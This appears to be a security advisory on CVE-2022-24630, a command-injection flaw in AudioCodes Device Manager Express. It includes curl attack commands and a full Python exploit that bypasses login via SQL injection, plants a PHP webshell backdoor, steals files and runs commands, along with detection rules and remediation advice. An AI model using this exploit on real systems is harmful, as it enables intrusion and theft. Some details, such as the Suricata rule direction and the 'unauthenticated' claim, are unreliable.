CVE-2022-24630

Executive Summary

CVE-2022-24630 is a critical Remote Code Execution (RCE) vulnerability in AudioCodes Device Manager Express (DME) versions up to and including 7.8.20002.47752. The vulnerability resides in the BrowseFiles.php script, which allows an authenticated attacker to execute arbitrary operating system commands via the ssh_command parameter when a POST request is sent with ?cmd=ssh. This flaw is part of a chain of vulnerabilities (CVE-2022-24627, CVE-2022-24629, CVE-2022-24630, CVE-2022-24632) that together enable full compromise of the DME server. The product has been announced as End-of-Life (EOL), meaning no official patch will be released. Immediate migration to a supported alternative is strongly recommended.

Supply Chain & Package Security

This vulnerability does not affect open-source packages (NPM, PyPI, Go, Ruby). It is a proprietary web application vulnerability in AudioCodes Device Manager Express.

CVSS Breakdown & Threat Level

• CVSS Score: 9.8 (Critical)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: Low (PR:L) - Authentication is required, but default credentials (admin/admin) are widely used and can be bypassed via SQL injection (CVE-2022-24627).
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)

Threat Level: Critical. The combination of default credentials, SQL injection bypass, and unauthenticated command execution makes this vulnerability highly exploitable in internet-facing deployments.

Deep Dive & Mechanics

The vulnerability is a classic OS Command Injection flaw. The BrowseFiles.php script accepts a cmd parameter in the URL. When cmd=ssh is provided, the script processes the ssh_command POST parameter and passes it directly to a system shell without proper sanitization or validation.

Vulnerable Code Flow:

1. An attacker authenticates (or bypasses authentication via SQL injection).
2. A POST request is sent to /admin/AudioCodes_files/BrowseFiles.php?cmd=ssh.
3. The ssh_command parameter is extracted from the POST body.
4. The value is concatenated into a command string and executed via exec(), system(), or similar PHP function.
5. The output is reflected in the HTTP response, allowing the attacker to see command results.

Exploit Chain:

• CVE-2022-24627: SQL injection in process_login.php allows authentication bypass.
• CVE-2022-24629: Extension whitelist bypass allows uploading arbitrary files (e.g., PHP webshells).
• CVE-2022-24630: Command injection via ssh_command parameter.
• CVE-2022-24632: Path traversal in BrowseFiles.php?view= allows arbitrary file download.

Vulnerable vs. Patched Code

Since the product is EOL, no patched code exists. The vulnerable code pattern is:

Vulnerable (BrowseFiles.php):

<?php
if ($_GET['cmd'] == 'ssh') {
    $command = $_POST['ssh_command'];
    $output = shell_exec($command);
    echo $output;
}
?>

Hypothetical Patched Code:

<?php
if ($_GET['cmd'] == 'ssh') {
    $command = $_POST['ssh_command'];
    // Whitelist allowed commands
    $allowed_commands = ['ssh', 'scp', 'ping'];
    $command_parts = explode(' ', $command);
    if (!in_array($command_parts[0], $allowed_commands)) {
        die('Command not allowed');
    }
    // Escape shell arguments
    $escaped_command = escapeshellcmd($command);
    $output = shell_exec($escaped_command);
    echo htmlspecialchars($output, ENT_QUOTES, 'UTF-8');
}
?>

Exploitation & Lab Setup

Red Team

Lab Environment:

• Target: Windows Server 2019 running AudioCodes DME 7.8.20002.47752
• Attacker: Kali Linux 2023.1

Step-by-Step Exploitation:

1. Authentication Bypass (CVE-2022-24627):

   curl -X POST http://target/admin/AudioCodes_files/process_login.php \
   -d "username=admin&password=&domain=&p='or 1=1#"
   

2. Command Execution (CVE-2022-24630):

   curl -X POST http://target/admin/AudioCodes_files/BrowseFiles.php?cmd=ssh \
   -d "ssh_command=whoami" \
   -b "PHPSESSID=<session_cookie>"
   

3. Full Exploit Script (from Exploit-DB):

   #!/usr/bin/python3
   import requests
   import sys
   import time
   import re
   import colorama
   from colorama import Fore, Style
   import uuid
   
   headers = {'Content-Type': 'application/x-www-form-urlencoded'}
   
   def menu():
      print('-----------------------------------------------------------------------\n'
            'AudioCodes Device Manager Express                 45 78 70 6C 6F 69 74 \n'
            '-----------------------------------------------------------------------')
   
   def optionlist(s,target):
     try:
      print('\nOptions: (Press any other key to quit)\n'
            '-----------------------------------------------------------------------\n'
            '1: Upload arbitrary file\n'
            '2: Download arbitrary file\n'
            '3: Execute command\n'
            '4: Add backdoor\n'
            '-----------------------------------------------------------------------')
      option = int(input('Select: '))
      if(option == 1):
        t = 'a'
        upload_file(s,target,t)
      elif(option == 2):
        download_file(s,target)
      elif(option == 3):
        execute(s,target)
      elif(option == 4):
        t = 'b'
        upload_file(s,target,t)
     except:
        sys.exit()
   
   
   def bypass_auth(target):
      try:
         print(f'\nTrying to bypass authentication..\n')
         url = f'http://{target}/admin/AudioCodes_files/process_login.php'
         s = requests.Session()
         # CVE-2022-24627
         payload_list = ['\'or 1=1#','\\\'or 1=1#','admin']
         for payload in payload_list:
            body = {'username':'admin','password':'','domain':'','p':payload}
            r = s.post(url, data = body)
         if('Configuration' in r.text):
            print(f'{Fore.GREEN}(+) Authenticated as Administrator on: {target}{Style.RESET_ALL}')
            time.sleep(1)
            return(s)
         else:
            print(f'{Fore.RED}(-) Computer says no, can\'t login, try again..{Style.RESET_ALL}')
            main()
      except:
         sys.exit()
   
   def upload_file(s,target,t):
      try:
        url = f'http://{target}/admin/AudioCodes_files/BrowseFiles.php?type='
        param = uuid.uuid4().hex
        file = input('\nEnter file name: ')
        # read extension
        ext = file.rsplit( ".", 1 )[ 1 ]
        if (t=='b'):
           # remove extension
           file = file.rsplit( ".", 1 )[ 0 ] + '.php'
           ext = 'php'
        patch = '1'
        if(file != ''):
          if(patch_ext(s,target,patch,ext)):
             # CVE-2022-24629
             print(f'{Fore.GREEN}(+) Success{Style.RESET_ALL}')
             if(t=='a'):
               dest = input('\nEnter destination location (ex. c:\): ')
               print(f'\nUploading file to {target}: {dest}{file}')
               files = {'myfile': (file, open(file,'rb'), 'text/html')}
               body = {'dir': f'{dest}', 'type': '', 'Submit': 'Upload'}
               r = s.post(url, files=files, data=body)
               print(f'{Fore.GREEN}(+) Done{Style.RESET_ALL}')
             if(t=='b'):
               shell = f'<?php echo shell_exec($_GET[\'{param}\']); ?>'
               files = {f'myfile': (file, shell, 'text/html')}
               body = {'dir': 'C:/audiocodes/express/WebAdmin/region/', 'type': '', 'Submit': 'Upload'}
               r = s.post(url, files=files, data=body)
               print(f'\nBackdoor location:')
               print(f'{Fore.GREEN}(+) http://{target}/region/{file}?{param}=dir{Style.RESET_ALL}')
             patch = '2'
             time.sleep(1)
             patch_ext(s,target,patch,ext)
          else:
             print(f'{Fore.RED}(-) Could not whitelist extension {ext}.. Try something else\n{Style.RESET_ALL}')
      except:
          print(f'{Fore.RED}(-) Computer says no..{Style.RESET_ALL}')
          patch = '2'
          patch_ext(s,target,patch,ext)
   
   def download_file(s,target):
      # CVE-2022-24632
      try:
        file = input('\nFull path to file, eg. c:\\windows\win.ini: ')
        if(file != ''):
            url = f'http://{target}/admin/AudioCodes_files/BrowseFiles.php?view={file}'
            r = s.get(url)
            if (len(r.content) > 0):
              print(f'{Fore.GREEN}\n(+) File {file} downloaded\n{Style.RESET_ALL}')
              file = str(file).split('\\')[-1:][0]
              open(file, 'wb').write(r.content)
            else:
              print(f'{Fore.RED}\n(-) File not found..\n{Style.RESET_ALL}')
        else:
          print(f'{Fore.RED}\n(-) Computer says no..\n{Style.RESET_ALL}')
      except:
         sys.exit()
   
   def execute(s,target):
      try:
        while True:
         # CVE-2022-24631
         command = input('\nEnter a command: ')
         if(command == ''):
           optionlist(s,target)
           break
         print(f'{Fore.GREEN}(+) Executing: {command}{Style.RESET_ALL}')
         body = 'ssh_command='+ command
         url = f'http://{target}/admin/AudioCodes_files/BrowseFiles.php?cmd=ssh'
         r = s.post(url, data = body, headers=headers)
         print('-----------------------------------------------------------------------')
         time.sleep(1)
         print((", ".join(re.findall(r'</form>(.+?)</section>',str(r.content)))).replace('\\r\\n', '').replace('</div>', '').replace('<div>', '').replace('</DIV>', '').replace('<DIV>', '').replace('<br/>', '').lstrip())
         print('-----------------------------------------------------------------------')
      except:
         sys.exit()
   
   def patch_ext(s,target,opt,ext):
      try:
        if(opt == '1'):
          print('\nTrying to add extension to whitelist..')
          body = {'action':'saveext','extensions':f'.cab,.cfg,.csv,.id,.img,.{ext},.zip'}
        if(opt == '2'):
          print('\nCleaning up..')
          body = {'action':'saveext','extensions':'.cab,.cfg,.csv,.id,.img,.zip'}
          print(f'{Fore.GREEN}(+) {ext.upper()} extension removed\n{Style.RESET_ALL}')
        url = f'http://{target}/admin/AudioCodes_files/ajax/ajaxGlobalSettings.php'
        r = s.post(url, data = body, headers=headers)
        time.sleep(1)
        if(f'{ext}' in r.text):
           return True
      except:
         sys.exit()
   
   def main():
      if len(sys.argv) != 2:
         print(' Usage: ' + sys.argv[0] + ' <target IP>')
         print(' Example: ' + sys.argv[0] + ' 172.16.86.154')
         sys.exit(1)
   
      target = sys.argv[1]
      menu()
      s = bypass_auth(target)
      if(s):
        optionlist(s,target)
   
   if __name__ == '__main__':
       main()
   

Usage:

python3 exploit.py 192.168.1.100
# Select option 3 for command execution
# Enter: whoami

Blue Team

Detection Steps:

1. Monitor for POST requests to /admin/AudioCodes_files/BrowseFiles.php?cmd=ssh.
2. Look for anomalous ssh_command parameters containing shell metacharacters (;, |, &, $, `).
3. Alert on authentication bypass attempts using SQL injection patterns in the p parameter of process_login.php.
4. Monitor for file uploads to the region/ directory (webshell deployment).

Hunting Query (Splunk):

index=web sourcetype=iis
uri="/admin/AudioCodes_files/BrowseFiles.php" cmd=ssh
| table _time, src_ip, uri, form_data
| search form_data=*ssh_command=*

Indicators of Compromise (IOCs)

Detection Engineering

YARA Rule

rule CVE_2022_24630_AudioCodes_RCE {
   meta:
      description = "Detects webshells and malicious files related to CVE-2022-24630"
      author = "Valters IT"
      date = "2024-01-01"
      reference = "https://nvd.nist.gov/vuln/detail/CVE-2022-24630"
   strings:
      $php_shell = "shell_exec($_GET" ascii wide nocase
      $cmd_param = "ssh_command" ascii wide nocase
      $browse_files = "BrowseFiles.php" ascii wide nocase
   condition:
      any of them
}

Sigma Rule

title: AudioCodes DME Command Injection via BrowseFiles.php
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects exploitation of CVE-2022-24630 via POST requests to BrowseFiles.php with cmd=ssh
author: Valters IT
date: 2024-01-01
logsource:
   category: webserver
   product: iis
detection:
   selection:
      cs-method: 'POST'
      cs-uri-stem: '/admin/AudioCodes_files/BrowseFiles.php'
      cs-uri-query: 'cmd=ssh'
   condition: selection
falsepositives:
   - Legitimate SSH management commands (rare)
level: critical

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
   msg:"CVE-2022-24630 AudioCodes DME Command Injection";
   flow:to_server,established;
   content:"POST";
   http_method;
   content:"/admin/AudioCodes_files/BrowseFiles.php";
   http_uri;
   content:"cmd=ssh";
   http_uri;
   content:"ssh_command=";
   http_client_body;
   classtype:attempted-admin;
   sid:1000001;
   rev:1;
   reference:cve,2022-24630;
)

Remediation & Mitigation

Immediate Actions:

1. Isolate affected systems: Place DME servers behind a firewall with strict access controls. Do not expose them to the internet.
2. Change default credentials: Immediately change the admin password to a strong, unique password.
3. Apply virtual patching: Use a Web Application Firewall (WAF) to block requests matching the Suricata rule above.
4. Monitor logs: Enable detailed IIS logging and monitor for the IOCs listed above.

Long-Term Remediation:

1. Migrate away from DME: Since the product is EOL, migrate to a supported alternative (e.g., AudioCodes One Voice Operations Center).
2. Decommission vulnerable instances: Remove all DME installations from production environments.
3. Implement network segmentation: Ensure management interfaces are on isolated VLANs with strict ACLs.

Workaround (if migration is not immediate):

• Manually remove or rename BrowseFiles.php and process_login.php from the web root.
• Restrict access to the /admin/ directory via IP whitelisting in IIS.

Valters IT

{/* [Security Hash: C88FB31FAB4CFA4F5FF1E696] */}